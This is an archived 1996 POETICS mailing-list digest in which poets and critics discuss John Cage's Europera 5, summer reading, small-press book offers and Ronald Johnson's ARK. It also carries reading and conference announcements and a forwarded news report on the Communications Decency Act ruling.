>(<http://www.merce.org/> it's worth looking at anyway) & look up the tour
>history of the company. Then go to a good research library and look up the
>reviews in the daily papers for each performance/residency by the company.
>Count the ones that are factually accurate (don't expect them to be
>informed as to the aesthtic issues involved in what Cunningham et al are
>about) & let me know the percentage. I'll be very very surprised if it's
>higher than 10-15%.
>
>The fact that there's some coverage of the "experimental" performing arts
>in daily newspapers IS different than the usual case for "experimental"
>literary arts. But, because there's so little context for the work in the
>daily lives of most of the people who read these reviews, they are
>meaningless attempts at filling the space around the department store
>advertisements, and they are treated as such by most editors and writers.
>
>If you want to bang your head against this wall, you'd better believe that
>it has almost nothing to do with a despicable review by Tim Page, and
>everything to do with the general state of culture. The situation is so
>globally fucked up, that to get a wild hair up your butt about a literally
>stupid review seems like a misplacement of effort.
>

>The problem isn't that newspapers don't treat the avant garde with respect,
>it's that newspapers like the rest of the society we live in, don't treat
>any kind of art with respect, even the popular arts like television.
>
>& that's a whole other letter to the editor.
>
>
>
>Herb Levy
>[redacted]
>
>----------
>
>Date: Wed, 12 Jun 1996 00:25:33 -0700
>From: Herb Levy <[redacted]>
>Subject: Re: various cages - Europera 5
>
>Mark, have you heard Europera 5, on CD or in performance?
>
>I've heard a LOT of John Cage's music, I've heard the Europera 5 CD by the
>musicians for whom the work was created, as well as a local performance of
>the work, & I'd be quite hesitant to spend a lot of time defending the
>composition. There's plenty to be said about the work, especially in light
>of it's structural relation to the previous works in the Europera series.
>Plenty to be said, but, for many people, I doubt this would include "I
>really want to hear that piece again." I can think of hundreds of things
>(including hearing/seeing a performance of Europera 1& 2) that I'd rather
>do than to hear another performance of Europera 5.
>
>The work was made as a sort of small-scale performable version of the
>earlier incarnations of Europera: 1& 2, a major composition for extremely
>large forces (full orchestra, 19 singers, complex staging, lighting, etc.)
>in a very fully equipped theater (many opera houses aren't suited for the
>work, let alone more general theaters) & 3 & 4, already created for smaller
>performing ensembles. There's a discussion of the process of creating this
>piece in Musicage, the book of conversations between Joan Retallack & John
>Cage, that Rod has often refered to here.
>
>In many ways, Europera 5 is a minor work, & I don't think it's all that
>successful. Few of Cage's compositions that use other music as source
>material depend so much on the recognizability of the original for their
>effect. Even the other Europeras as denser, allowing for the awareness of

>other textures & structures out of the found material. In making Europera
>5 as sparse as it is, Cage was faced with the same problem that many
>composers who use digital samples of other music face, how to create
>something that is unrecognizably new, while using source material that is
>recognizably old. The excerpts in Europera 5 rarely overlap & are so much
>a part of the works from which they come that comparatively little synergy
>arises out of the mix. It seems like nothing so much as a poorly received
>radio station playing excerpts from various operas in sequence.
>
>Does Europera 5 deserve to be brutally & ignorantly savaged in a review,
>probably not? Does such a review of this work deserve an all-out shrill
>call to arms in defense against an embattled "avant garde"? Again,
>probably not.
>
>I really don't think that any stance which must defend all works under the
>rubric of the "avant garde" against all attacks is a useful one.
>
>In the case of Europera 5, there are simply other fights that are more
>important and other fights more likely to be won.
>
>
>Herb Levy
>[redacted]
>
>----------
>
>Date: Wed, 12 Jun 1996 04:10:33 -0400
>From: Carnography <[redacted]>
>Subject: Re: various cages
>
>mark wallace typed:
>
>>intellectual slander IS a significant litmus test of whether one
>>deserves respect.
>
>Or rather:
>
>Intellectual slander is the misdemeanor of critics.
>Its penalty is the loss of the reader's respect.
>The quickest way to regain respect: to acknowledge
>one's wrong and re-evaluate the object of slander.
>

>(Provisional Ethics 1-1)
>
>http://www.interport.net/~scrypt
>
>----------
>
>Date: Wed, 12 Jun 1996 03:22:07 -0700
>From: Ron Silliman <[redacted]>
>Subject: Miscellaneous stuff
>
>Chris,
>
>No, I did not know Poulin, but yes, he did do BOA. The obit in the
>Times was so cloying, it was hard to fathom (odd for a publication that
>prides itself in its usual critical distance). Hart published a
>newsletter out of his home in Marin in the mid-80s that attempted to
>scold all of us barbarians for failing to understand the true meaning
>of modernism. By comparison to the fugitives, he was a progressive, but
>that was always the context the work seemed to seek out. I think I've
>noted here before that Robert Barlow, the poet-anthropologist who was a
>fellow traveler with the Activist Poets, was somebody whom Olson
>mentions trying to seek out while in Mexico, somewhere in the Mayan
>Letters.
>
>Orono folks,
>
>For those of us (and I suspect we are many on this list) who have, as
>yet, to see a single word explaining what this conference there might
>be or be about, we hope you will provide the in-depth coverage we are
>growing used to here. Details, detail, details!
>
>
>Summer Reading List...
>
>Just finished Carole Maso's Ava, which makes Beckett safe for PBS (that
>is, to be less snide, she uses the same pallet of devices, but does so
>to construct a decidedly unified, even romanticized, subjective whole).
>It brought up for me the whole question of recycled modernism, thinking
>of Alice Walker's uses of Faulkner in The Color Purple or Ondaatje's
>Hemingway in The English Patient. In each instance, the techniques are
>used to much more conservative ends than those for which they had
>originally been elaborated.

>
>The whole question of a poet's prose or a poet's fiction makes enormous
>sense to me, Wystan, from Joyce forward. I think that Primary Trouble
>is right on target to include Dodie Bellamy in its anthology of poetry.
>(Great selection too, by the way.)
>
>Next book is Langston Hughes' The Big Sea, which I picked up in SF last
>month.
>
>All best,
>
>Ron Silliman
>[redacted]
>
>----------
>
>Date: Wed, 12 Jun 1996 09:02:18 EDT
>From: Daniel Bouchard <[redacted]>
>Subject: poetry reading
>
>JOHN ASHBERY EATS FIDDLEHEADS
>
>You are invited
>to a poetry reading
>where five Boston cats* are blowing their poetry
> REAL HARD
>
>Ange Mlinko
>Damon Krukowski
>Sianne Ngai
>Daniel Bouchard
>Chris Stroffolino
>
>10 Oxford Street- REAR, Somerville, MASS.
>
>Monday, June 17
>8:30 PM
>
>Nothing has been so good
>since Wieners retired
>_____
>

>* OK, so Stroffolino is an Albany cat not a Boston cat (and soon to be a Jersey
>City or Brooklyn cat anyway) but such an opportunity for palimpsest rarely
>occurs.
>
>On your way to Orono (or just hanging around New England?) and want to
start
>the week off right?
>
>Here's your opportunity to see/hear some real Boston.
>
>Call for details: [redacted].
>
>
>[redacted]
>
>-----
>
>Date: Wed, 12 Jun 1996 09:29:42 +0100
>From: Kevin Killian <[redacted]>
>Subject: Re: Miscellaneous stuff
>
>At 3:22 AM 6/12/96, Ron Silliman wrote:
>
>>Just finished Carole Maso's Ava, which makes Beckett safe for PBS (that
>>is, to be less snide, she uses the same pallet of devices, but does so
>>to construct a decidedly unified, even romanticized, subjective whole).
>>It brought up for me the whole question of recycled modernism, thinking
>>of Alice Walker's uses of Faulkner in The Color Purple or Ondaatje's
>>Hemingway in The English Patient. In each instance, the techniques are
>>used to much more conservative ends than those for which they had
>>originally been elaborated.
>
>
>Thanks Ron. Now I feel less guilty that I'm reading _House of Mirth_ right
>now rather than "keeping up."
>
>x,
>Dodie Bellamy
>
>-----
>
>Date: Wed, 12 Jun 1996 12:31:12 -0500

>From: Chris Stroffolino <[redacted]>
>Subject: Re: what matter who's speaking
>
> Hey Rod---
> Is BRECHT part of the B-effect? It would seem that Bernstein in this
> schema would be more a CHARLES (more C than B) in terms of darkness,
> while Perelman would be more a BOB (B)--I've been thinking about the
> BECKETT connection with AKA (who brought that up?). It seems that
> AKA is less, er, "stream of consciousness" though than more Bruce
> Andrews-like in the way it reads. By Andrews like I mean, the emphasis
> is on the sentence (not emotional) rather than paragraph. Beckett's
> emphasis seems more on the accumulative rush effect.
> (again, i'm speaking primarily of the trilogy era Beckett...
> and I haven't read AKA in years....so I think I know what I'm going
> to read today.....cs
>
>----------
>
>Date: Wed, 12 Jun 1996 09:32:08 -0700
>From: "Aldon L. Nielsen" <[redacted]>
>Subject: Re: summary reading
>
>OOOPS! I'm actually getting to Maine Tues. night, as my panel is the next
>day -- will also be in gang reading Friday night -- maybe we should all
>wear colors!
>
>
>and today's reading:
>
>Juan Felipe Herrera -- _The Roots of a Thousand Embraces_ Manic D Press
>
>available from SPD -- it's great --
>
>----------
>
>Date: Wed, 12 Jun 1996 16:19:56 -0500
>From: Jordan Davis <[redacted]>
>Subject: against summer reading
>
>I am leaning to the left against my summer reading:
>a very large (1000 pages?) blank book, extraordinarily
>popular delusions, The Life of Johnson, etc, and

>what good poems it's making me flee to read--Frank
>O'Hara's poem up in the subway, contrarian and
>personist in the best of spirits, Karen Volkman's
>national poetry series book _Crash's Law_
>the presense of which can only mean
>that Juliana Spahr's NPS book is preparing
>to knock New York City over like the cardboard diorama
>we know it is, oh and god! Laura Moriarty's
>book _Symmetry_ thank you Rod! for sending it -
>I've never seen anybody get knocked out the way
>it happens all the time on tv, how does anybody
>get any reading done when they own a tv,
>someone like Melanie Neilson makes a poem
>and the credit card offers, are they nefarious?
>Do you find out about yourself when you consume
>the endless electrons? It's something you can
>turn on, the Baudelaire of you, but when you
>find out the 'off' switch is symbolic at best,
>a surrealist at most, a batter in a cage,
>is she bored? Not Melanie but
>the manic imperative, the one up
>the street we'll have to go visit when they get
>here, deferring to the expert light
>of some characters we know, Ringo, Paul, John,
>Morton, etc. That ought to be something exciting.
>
>----------
>
>Date: Wed, 12 Jun 1996 15:33:37 -0500
>From: Charles Alexander <[redacted]>
>Subject: readings/twin cities
>
>A POETRY & MULTIMEDIA READING BY SPENCER SELBY & ERIK BELGUM
>
>sponsored by Cross-Cultural Poetics and the College of St.
Catherine-Minneapolis
>
>
>SATURDAY, JUNE 15
>ROOM 250
>COLLEGE OF
>ST. CATHERINE

>MINNEAPOLIS
>1:00 p.m.
>
>
>
>
>
>SPENCER SELBY
>Spencer Selby's books of poetry include Instar (SINK Press, 1989), Barricade
>(Paradigm Press, 1990), House of Before (Potes & Poets Press, 1991), Sound
>Off (Detour Press, 1993), and No Island (Drogue Press, 1995). His visual
>poetry includes Stigma (Score, 1990), and Malleable Cast (Generator, 1995).
>In the middle 1980's Spencer Selby began SINK Press in San Francisco, where
>he still resides, and he coordinated the Canessa Park Reading Series from
>1987 - 1993. In 1993 Selby created The List of Experimental Poetry/Art
>Magazines, a noncopyrighted, freely circulating document that tracks over
>250 publications around the world.
>
>ERIK BELGUM
>Erik Belgum's experimental fiction has appeared in over two dozen journals
>since 1985. Most recently he has been seen in literary journals such as
>Avec, Chicago Review, Red Bass, Central Park, Black Ice, and Caliban. His
>fiction will appear this year in an anthology of experimental fiction from
>the publishers of Avec, as well as in upcoming issues of Central Park and
>Asylum Annual. In his Dictionary of the Avant-Gardes (1993), Richard
>Kostelanetz called Belgum one of "the best of the younger writers of
>fiction, let alone experimental fiction." Belgum's literary/audio/soundtext
>works have been played throughout the United States, in concert, on radio,
>and also recently on the CD audio magazine Aerial. Recent commissions
>include spoken word pieces commissioned by the Dale Warland Singers through
>a Jerome Foundation grant and another by Corn Palace Productions performed
>at the Southern Theater in Minneapolis.
>
>
>This reading is FREE and is held at the College of St.
>Catherine-Minneapolis, 601 25th Avenue South (two blocks north of the 25th
>Avenue/Riverside intersection).
>
>

>Next Reading sponsored by Cross-Cultural Poetics:
>June 29, 1:00 pm, Room 250, College of St. Catherine-Minneapolis
>
> DAN FEATHERSTON
> &
> CHARLES ALEXANDER
>
>
>For further information about Cross-Cultural Poetics readings and
>publications, please contact Mark Nowak at [redacted]. Or e-mail him at
>[redacted]
>
>I hope anyone on the poetics list visiting or living near here will come.
>I'll post more before the June 29th reading.
>
>
>charles alexander
>chax press
>[redacted]
>
>----------
>
>Date: Wed, 12 Jun 1996 16:50:28 -0400
>From: Jonathan A Levin <[redacted]>
>Subject: clamdiggers (fwd)
>
>This one's from Marisa Januzzi, whose machine apparently needs to be fed.
>JL.
>
>---------- Forwarded message ----------
>
>It's Maine, so we're supposed to wear clam diggers, right Kevin?
>(Dodie-- can I answer the post in person!?) If I ever finish my grades
>I will be in Orono too, Kerouac paper, time recently unsettled &
>rescheduled for undetermined reasons.
>
>(Anyone looking for summer reading-- MEXICO CITY BLUES, SUBTERRANEANS,
>TRISTESSA, OLD ANGEL MIDNIGHT, and VSIONS OF GERARD... are all truly
>great, and this from someone who once couldn't read Kerouac for sexism...)
>

>Maybe we should designate a poetics reef & then all go meet on it?
>
>Re: LeSueur-- some of her stuff is available through SPD, including the
>pamphlets (just got "Women on the Breadlines"). I'd love to hear more
>about her being alive.
>
>Does anyone know how much of Ronald Johnson's ARK has been collected
>&where, besides PRIMARY TROUBLE? (&are his cookbooks as rich?)
>
>Also, has anyone else read Emily Holms Coleman (esp. THE SHUTTER OF
>SNOW)?
>
>Ciao, & drowning in work, and on notice that my server is down after 10AM
>tomorrow until Orono..... bleh!
>
>--Marisa Januzzi
>
>----------
>
>Date: Wed, 12 Jun 1996 15:57:01 -0500
>From: Jonathan Brannen <[redacted]>
>Subject: Standing Stones Press Special Offer
>
>SPECIAL OFFER TO POETICS SUBSCRIBER
>
>Standing Stones Press Publications
>
>Tom Ahern, _Skippy Taggart's Wife_
>Curt Anderson, _Umbra_
>Dennis Barone, _The Masque Resumed_
>Jonathan Brannen, _Crunching Numbers_
>Gerald Burns, _Probability and Fuzzy Dice_
>Cydney Chadwick, _The Gift Horse's Mouth_ o.p.
>Mark DuCharme, _Contractng Scale-
>Peter Ganick, _IT OR S/HE_
>Geof Huth, _To a Small Stream of Water (or Ditch)_
>H.T. (Heather Thomas), _Circus Freex_
>Stephen-Paul Martin, _Crisis of Representation_
>Michelle Murphy, _The Tongue in its Shelf_
>Sheila E. Murphy, _Wind Topography_
>John Perlman, _Anacoustic_
>Susan M. Schultz, _Earthquake Dreams_

>Mark Wallace, _In Case of Damage to Life, Limb or
> This Elevator_ (forthcoming, June 1996)
>
>All publications are $4.00 or any four for $12.00
>(postage included except on foreign orders).
>
>Also available from Standing Stones:
>Jonathan Brannen, Thing Is The Anagram Of Night (Texture Press, 1996), $6.00
> nothing doing never again (Score Press, 1996), $8.00
>
>SPECIAL OFFER TO POETICS SUBSCRIBERS: $3.00 each or FOUR FOR $10.00 !!!
>Thing Is The Anagram Of Night (Texture Press, 1996), $4.00 and nothing doing
>never again (Score Press, 1996), $5.00.
>
>Plus a free copy of Gerald Burns Probability and Fuzzy Dice (upon request
>and while supplies last) with any order !!! Offer good until July 15, 1996.
>Very limited quanities of some titles.
>
>Order from [redacted]
>(I'll include the bill when I ship the order) or from:
>
>Standing Stones Press
>7 Circle Pines
>Morris, MN 56267
>
>-----
>
>Date: Wed, 12 Jun 1996 17:01:33 -0500
>From: Chris Stroffolino <[redacted]>
>Subject: Re: clamdiggers (fwd)
>
> Well--someone told me one should pack a lot of BUG SPRAY for MAINE...
> so I might hit someone up for this.
> Didn't Emerson say something like
> "If one goes for a walk in the woods, one must feed mosquitos"
> (which I translate as):
> "if one goes for a walk in a city, one must feed quarters to
> payphones"----cs
>

>----------
>
>Date: Wed, 12 Jun 1996 17:32:28 EDT
>From: Ken Edwards <[redacted]>
>Subject: post language poetry, post modernist poetry, fakes
>
>Ira Lightman wrote:
>Ken, could you detail a few of the poets
>here, as you say, who engage intelligently with
>langpo, which books or poems?
>
>(ie in the UK)
>
>
>Well, first among them I would place Allen Fisher. He and I have had numer-
ous
>conversations about langpo type poets since, I think, the early 1980s, and I'm
>indebted to him and to his vast book collection in this respect.
>
>Cris Cheek (hi Cris!) has had strong transatlantic links for many years,
>including with langpo.
>
>Tom Raworth is notoriously US- and langpo-friendly -- one of the most open
and
>generous souls around. Maybe one of the few Brits who has actually influ-
enced
>the langpo scene at source.
>
>Wendy Mulford has corresponded for many years with the grouping of poets
around
>Kathleen Fraser and Susan Gevirtz's How(ever) and is well acquainted with,
>particularly, the women in the langpo camp and around it.
>
>Maggie O'Sullivan has collaborated on a book with Bruce Andrews and reads
avidly
>in and out of langpo as far as I know. I'm particularly grateful to her for
>introducing me to the work of current Canadian "experimental" women poets.
>
>A number of the poets associated with the London SubVoicive/Writers Forum
crowd
>are knowledgeable about it. Among these I'd mention Adrian Clarke and
Robert

>Sheppard, who edited the Potes & Poets anthology of London poets "Floating
>Capital" -- also Johan de Wit, Ulli Freer, Lawrence Upton, and of course Bob
>Cobbing, also one of the least prejudiced guys around, who published that
>Maggie/Bruce collaboration.
>
>Peter Middleton is clearly keen on that stuff. So is Miles Champion, I'd say.
>
>Finally Robert Hampson and I were probably the first to publish some of the
>Americans, even before they were labelled "language", back in the 1970s. Lyn
>Hejinian, Alan Davies and James Sherry made appearances in our long-dead
>magazine Alembic.
>
>Sorry to go on. Of course, this list isn't exhaustive. As for "which books or
>poems", well I wouldn't presume to trace influences that closely -- you'll have
>to decide.
>
>-----
>
>Date: Wed, 12 Jun 1996 18:45:29 -0500
>From: Chris Stroffolino <[redacted]>
>Subject: Re: post language poetry, post modernist poetry, fakes
>
> Dear ken Edwards---
> Could you elaborate on Miles Champion. The little I've seen is interesting
> and it was good to see your willingness to include him, while Ira, I
> think, seemed less to.....cs
>
>-----
>
>Date: Wed, 12 Jun 1996 16:42:21 -0700
>From: Herb Levy <[redacted]>
>Subject: Re: clamdiggers (fwd)
>
>>Does anyone know how much of Ronald Johnson's ARK has been collected
>>&where, besides PRIMARY TROUBLE? (&are his cookbooks as rich?)
>
>Some large assemblage of Ark (perhaps all of it) is due imminently from
>University of New Mexico Press. The cook books are great.
>
>
>Herb Levy
>[redacted]

>
>----------
>
>Date: Wed, 12 Jun 1996 17:28:42 +0100
>From: Kevin Killian <[redacted]>
>Subject: Communications Decency Act
>
>This is Dodie Bellamy. I received the following from another list I'm
>subscribed to. It's not about poetics, but I thought it might be of
>interest.
>
>PHILADELPHIA (Reuter) -- In a ground-breaking decision on free-speech
>rights over the Internet, a special U.S court panel blocked as
>unconstitutional a new federal law prohibiting indecency on computer
>networks.
>
> The three-judge panel issued Wednesday a preliminarly injunction blocking
>enforcement of portions of the Communications Decency Act, signed by
>President Clinton Feb. 8, which prohibit the distribution to minors of
>indecent or "patently offensive" materials over computer networks.
>
>The court let stand prohibitions against obscenity and child pornography,
>types of speech that are not constitutionally protected and were not
>challenged by the act's opponents.
>
>"The Internet may fairly be regarded as a never-ending worldwide
>conversation," U.S. District Judge Stewart Dalzell, a member of the panel,
>said in his opinion accompanying the decision.
>
>"The government may not, through the CDA, interrupt that conversation. As
>the most participatory form of mass speech yet developed, the Internet
>deserves the highest protection from governmental intrusion," he said.
>
> Also on the panel were U.S. District Court Judge Ronald Buckwalter and
>Dolores Sloviter, chief justice of the Third Circuit U.S. Court of Appeals.
>
>
>In its legal conclusion, the court said the blocked portions of the act
>were unconstitutional on their face.
>
>The injunction was issued in response to a lawsuit against the U.S. Justice
>Department challenging the act. The challenge was filed by the American

>Civil Liberties Union and groups representing libraries, publishers and the
>computer on-line industry.
>
>A Justice Department spokesman said the agency had no immediate comment on
>the ruling.
>
>The ruling sets the stage either for a trial on whether the act should be
>permanently blocked, or a direct appeal of the preliminary injunction to
>the U.S. Supreme Court under expedited provisions written into it.
>
>"The court has reaffirmed what our founders 200 years ago bequeathed as our
>greatest liberty, and that's free speech," said Stefan Presser, legal
>director of the ACLU of Pennsylvania, which filed the original suit.
>
>Bruce Taylor, chief counsel for the National Law Center for Children and
>Families, which supports the act, said of the ruling, "I don't consider
>this a setback."
>
>The act has already heightened awareness of content unsuitable for minors
>on the Internet, and prompted development of technology that will make it
>possible to screen and block material for suitability for minors, he said.
>
>Such technology will undermine arguments by the act's opponents that it is
>impossible to enforce, he said.
>
>In addition, he said, state laws already on the books can also be used.
>"The states can do what this ruling said the federal government can't do
>yet," he said.
>
>The ACLU immediately posted the court's opinion and order, which total 177
>pages, on its World Wide Web site, said Christopher Hansen, attorney for
>the national ACLU. The address of the site is http://www.aclu.org.
>
>In the event of a government appeal, Hansen said, "We'll certainly defend
>the conclusion vigorously."
>
>----------
>
>Date: Wed, 12 Jun 1996 19:57:54 -0500
>From: Charles Alexander <[redacted]>
>Subject: Re: clamdiggers (fwd)

>
>>Does anyone know how much of Ronald Johnson's ARK has been collected
>>&where, besides PRIMARY TROUBLE? (&are his cookbooks as rich?)
>
>
>I notice in the new Small Press Distribution Catalog that Gus Blaisdell's
>Living Batch Press in Albuquerque has brought out the whole (I believe) of
>Ronald Johnson's ARK. So contact SPD at 1814 San Pablo Ave., Berkeley, CA
>94702. And on that SPD catalog check out the drawings of writers on the
>cover, done by Gary Sullivan. High groove factor, as Gary might say himself.
>
>Ronald Johnson's first southwestern cookbook is a classic. I know that there
>is a more recent edition of that, and others, but I don't know about them.
>
>-----
>
>Date: Wed, 12 Jun 1996 20:10:53 -0500
>From: Charles Alexander <[redacted]>
>Subject: Re: clamdiggers (fwd)
>
>>>Does anyone know how much of Ronald Johnson's ARK has been collected
>>>&where, besides PRIMARY TROUBLE? (&are his cookbooks as rich?)
>>
>>Some large assemblage of Ark (perhaps all of it) is due imminently from
>>University of New Mexico Press. The cook books are great.
>
>
>apologies for repeating myself, but I wanted to make it clear. It's not the
>University of New Mexico Press, it's a new press, LIVING BATCH BOOKS (many
>of you I am sure know the long-lived Living Batch Bookstore in Albuquerque),
>run by Gus Blaisdell, which has, according to the announcement in the Small
>Press Distribution Spring 1996 catalog which just arrived, "just published
>one of the extraordinary long poems of the past quarter-century in Ronald
>Johnson's ARK. Early versions of Johnson's great, elegant long poem are all
>out-of-print. This new book presents the full poem for the first time, a
>true heir to Louis Zukofsky's "A," Basil Bunting's BRIGGFLATTS, George
>oppen's and Lorine Niedecker's longer series, and Robert Duncan's PASSAGES
>and STRUCTURE OF RIME, but with a music and architecture unique in American
>poetry."

>
>And more complete SPD ordering info:
>
>1814 San Pablo Avenue
>Berkeley, CA 94702-1624
>
>tel. [redacted]
>fax [redacted]
>
>----------
>
>Date: Wed, 12 Jun 1996 19:28:21 -0700
>From: Herb Levy <[redacted]>
>Subject: <No subject given>
>
>Charles,
>
>I'm sure you're right.
>
>The SPD catalog hasn't shown up here yet & when I checked locally after
>seeing a reference to Ark somewhere (?), the book store came up with it as
>being from UofNM Pr.
>
>In any case, I'm glad I don't have to wait much longer to read it all.
>
>
>
>Herb Levy
>[redacted]
>
>----------
>
>Date: Wed, 12 Jun 1996 23:12:27 -0400
>From: Romana Christina Huk <[redacted]>
>Subject: Alternative Accommodations for Assembling Alternatives
>
>For those who wish to attend _Assembling Alternatives: An International
>Poetry Conference/Festival_ (29 Aug.- 2 Sept.) but can't afford the price
>of accommodation and/or meals, new options have been created that allow
>for use of a local campsite or, for a more limited number, guest housing
>with faculty and students in the area. Those who intend to camp and not
>take meals with the group will only pay $15.00 per day ($60.00 for the

>whole event); this includes transportation to and from the conference
>site, and coffee/tea-breaks during the days, but does not include the
>costs required by the campsite itself. They have given us rates at
>approx. $18.00 per night per "couple" in a tent (it pays to double-up
>with someone); the rental of any equipment needed is up to campers.
>Further details can be retrieved by calling the campsite directly; do so
>by asking about the "safari site"(!) reserved by Romana Huk at UNH for
>the poetry conference/festival on the above dates: Lamprey River
>Campground, 16 Campground Road, LEE, NH 03824; tel.: [redacted]. The
>grounds have full Facilities (toilets, showers). Tents, however, are
>hard to find for rent in this area, but Eastern Mountain Sports in the
>local Fox Run Mall ([redacted]) reports to have enough tents for
>approx. 30 people camping in sets of two and three; they go for between
>$25.00 and $30.00 for the full stint. To reserve any of these you must
>act _soon_.
>
>Those who intend to pay the full $270.00 commuter fee for taking all
>meals with the group for these 5 days and 4 nights will be up first for
>placement in people's homes (in order to help reduce their overall costs
>and relieve our volunteer hosts' anxieties about feeding, etc.).
>
>Anyone interested in either new option must still go through the
>University Conferences Office to secure a seat at the conference itself
>(which is very important given our limited space): Univ. Conferences
>Office, Univ. of NH, 11 Brook Way, Room 121, Durham, NH 03824-3509; tel.:
>[redacted]; fax: [redacted]. If you wish to pay the commuter fee
>to take all meals with the group, you will need a registration form from
>the Office. Those who hope to be placed in guest housing must contact
>myself, Romana Huk, conference organizer, as soon as possible; I can be
>reached before 27 June either at this e-mail address or at UNH (603 862
>3992). After that I leave for six weeks in England, cut off from e-mail,
>I think (though I'll keep you posted). I can be reached either through
>the Conferences Office (who can in a pinch fax or call me) or, after the
>1st of July, I can be contacted by phoning Gonville & Caius (pronounced
>"Keyes") College, Cambridge, England (44 1223 332400) and leaving your
>phone number in a message for me to call you.
>
>The conference/festival is developing beautifully despite funding woes on
>all our parts. Its schedule begins at 2:00 with registration on the 29th
>of August;at that time the book exhibit/sales area will be getting set
>up, and the Great Bay Room (our largest) will, I hope, be hung and
>otherwise transformed by artworks made in response to these poetries, if

>we can get artists and the New England Center staff to agree on what
>can be done to the walls. At 5:00 an informal reception will lead into
>dinner at 6:00, after which we'll have our first night of performances in
>the Great Bay Room. I'll be finalizing the readings in the next several
>days; several of the most well-known will be on that night so it's not
>one to be missed. The readings will be free and open to the public.
>
>Remember that although our focus is the U.S., U.K., Canada and Ireland,
>other poetries will be represented and become part of the conversation.
>
>Among those thus far scheduled to give talks or performances are (and
>this can't be a full list, so I'm about to choose randomly): Charles
>Bernstein, Karen Mac Cormack, Sean O'hUigin, Tom Raworth, Carla Harry-
man,
>Nicole Brossard, Maurice Scully, Allen Fisher, Rae Armantrout, Steve
>McCaffery, Maggie O'Sullivan, Denise Riley, Joan Retallack, Peter
>Quartermain, Marjorie Perloff, Peter Middleton, Bob Perelman, Juliana
>Spahr, Jeff Derksen, Peter Gizzi, Miles Champion, Caroline Bergvall, cris
>cheek, Catherine Walsh, Steve Evans, Miriam Nichols, Alan Golding, Trevor
>Joyce, Kathleen Fraser, Rod Mengham, Barrett Watten, Abigail Child, Paul
>Dutton, Lee Ann Brown, Ken Edwards, John Cayley, Jim Rosenberg, Steve
>Benson, Wendy Mulford, Leslie Scalapino, Robert Sheppard, Fiona
>Templeton, Loss Glazier, Louis Cabri, Andrew Levy, Philip Mead, John
>Kinsella, Barbara Godard, David Bromige, Hazel Smith, Susan Schultz, John
>Wilkinson, Mary Margaret Sloan, Nicholas Zurbrugg, Billy Mills, Linda
>Kinnahan, Lynn Keller, Geoffrey Squires, Keith Tuma, Shamoon Zamir, Brian
>Lynch, Christian Bok, Charles Altieri, David Annwn, Tony Lopez, Donald
>Wesling, Burton Hatlen, and more.
>
>In general outline, the conversation begins on Friday with discussion of
>differing contexts and relationships of these poetries to institutions in
>those contexts. On Saturday issues of poetic politics and imaginings of
>the subject arise, as well as the relationship between these poetries and
>their respective "mainstreams"; key problems of gendered and racial
>difference arise as well. On Sunday new forms of electronic and
>performance work enter in, and on Monday, our last day, almost all of it
>comes back in talk about where we stand at the "millennium" (or don't).
>On Sunday night we take a break from UNH's confines to have our dinner
>and readings in Portsmouth, the area's cultural center on the water. This
>will of course happen as part of the full conference fee paid by those
>taking meals with the group; transportation will be provided for all,
>even those not eating with the rest.

>
>I hope that's enough information at the moment for those interested. I'm
>terribly sorry to have to take off for six weeks: but again, after
>the 27th you should be able to either fetch the details you need from the
>Conferences Office or reach me overseas. My address there, if you don't
>want to phone, will be : Romana Huk, Director, UNH Summer Program,
>Gonville & Caius College, Cambridge CB2 1TA, England. It takes about a
>week for letters to make it over. Remember to include your phone number
>in correspondence.
>
>And spread the news about the book exhibit! All presses are
>welcome to contribute.
>
>Wishing good summers to all of you,
>
>Romana Huk
>
>----------
>
>End of POETICS Digest - 11 Jun 1996
>**********
>
>

==========
Stephen Barker
Associate Dean and
Interim Chair of the Department of Studio Art
School of the Arts
[redacted]
==========

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226. MAXINE CHERNOFF
NEW AMERICAN WRITING #14
Thu 13 Jun 1996

NEW AMERICAN WRITING #14 is now available. The issue contains long sections with commentary by Paul Beatty, Charles Bernstein, Gabrielle Glancy, Lyn Hejinian, Brenda Hillman, Anselm Hollo, Paul Hoover, Art Lange, Ann Lauterbach, Elizabeth Robinson, Susan Schultz, and Gustaf Sobin--poetry.

Stories by Gloria Frym, Michelle Carter, and Wendell Mayo.

Cover by Kenward Elmslie.

Order for $8 from NAW, 369 Molino Avenue, Mill Valley CA 94941, or get it at your local bookstore.

Thanks,
PH and MC

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227. Oren Izenberg
research query
Thu 13 Jun 1996

Can anyone help me get my hands on an issue of, I believe, Occident, with a number of readings/reviews of Michael Palmer's SUN?

I would be happy to purchase it-- or pay for xeroxing, or simply borrow it. Interlibrary loan is no help, and even the Library of Congress has left me in the lurch.

Backchannel is fine-- I appreciate the help.

O.

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228. Ira Lightman
Re: post language poetry, post modernist poetry, fakes
Thu 13 Jun 1996

Ken, thanks for your rollcall of names, I'm extremely grateful. Could I add to Chris' request, and probe a little further: I will cease to push for books or poems but could you specify a little how the British poets you've cited and their American friends, beyond mutual encouragement and citing of each other to interested parties, have shown LangPo qualities in their own work, along the lines I mentioned in my original post:

"the attitude to language or presence, in any number games, paragraph organisation, or relation of page to page, or dual columns, in the way that it is in any of the poets mentioned" (eg, I mean, that the pastiche of a voice of an Other actually bleeds into and could be the voice of the poet)

Do any of them, for example, in your view,
write the New Sentence?

Chris, by the way, I would like to say
that I am impressed by the way that
Miles Champion borrows models from
LangPo, his book "Sore Models" was
borrowed from Kit Robinson's Ice
Cubes, for example. My worry is that
his work reminds me of several New
Zealand poets' use of the sonnet,
eg James Baxter or Vincent O'Sullivan,
in that what seems to me to be is
happening is a kind of stand-up comedian
Woody Allen nebbishy, or Peter Cook
cod-Shakesperean, voiceover draped
over the form. Whereas, Shakespeare's
sonnets, and Robinson's Ice Cubes,
seem to me to hang on ideas about
which the poet is really anxious,
upon which the poet's sanity and life
seem to rest, questions like "am I
a man unable to give in to the real
martyrdom of love" or "do my silly
relationship problems distract me from
action to improve my world" where this
is felt as a paradox of two conflicting,
equally *pressing" problems.
My personal difficulty with
Miles' work is that, unlike Rob McKenzie's
(and I should stress here that Rob is a
keen fan of Miles, so this my beef only),
he seems to have the "postmodern" embarrassed
thus flip take on earnestness about love (it's a
cliche, an overused word etc), and rarely
seems to be serious about anything. I don't
even find that in the great clown Ashbery.
I just worry that the general atmosphere of
send-up in Miles' work is what genuinely
endears him to Brits who hate and avoid
LangPo, who think that Miles, like Rodefer,
is using LangPo only to send it up - and I

know that isn't Miles' attitude, as his
estimable magazine that he edits does
sterling work presenting LangPo; so maybe
I worry *for him*, that he faces trauma
ahead in having to either junk LangPo
or offend some of his friends (not Ken,
not Chris, and not, incidentally, me).

